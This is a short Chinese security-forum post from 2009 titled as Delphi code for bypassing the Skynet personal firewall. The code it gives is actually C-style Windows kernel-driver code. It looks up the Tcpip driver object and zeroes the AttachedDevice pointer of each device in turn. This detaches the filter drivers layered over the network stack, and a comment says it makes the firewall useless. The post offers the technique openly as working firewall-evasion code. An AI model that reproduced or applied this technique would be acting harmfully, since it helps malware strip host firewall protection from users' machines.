论坛: 菜鸟乐园 标题: Delphi编写轻松穿天网防火墙代码 复制本贴地址    
作者: Winmillion [winmillion]    论坛用户   登录
RtlInitUnicodeString ( &TcpipName, L"\\Driver\\Tcpip" );

ObReferenceObjectByName( &TcpipName,
                      OBJ_CASE_INSENSITIVE,
                      NULL,
                      0,
                      *IoDriverObjectType,
                      KernelMode,                                         
                      NULL,
                      &TcpipDrvObj);

CurrentDevice = TcpipDrvObj->DeviceObject;

while(CurrentDevice != NULL )
{
CurrentDevice->AttachedDevice=0;
CurrentDevice = CurrentDevice->NextDevice;
}

//这段代码能使天网装了和没装一样


地主 发表时间: 09-03-09 21:26

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号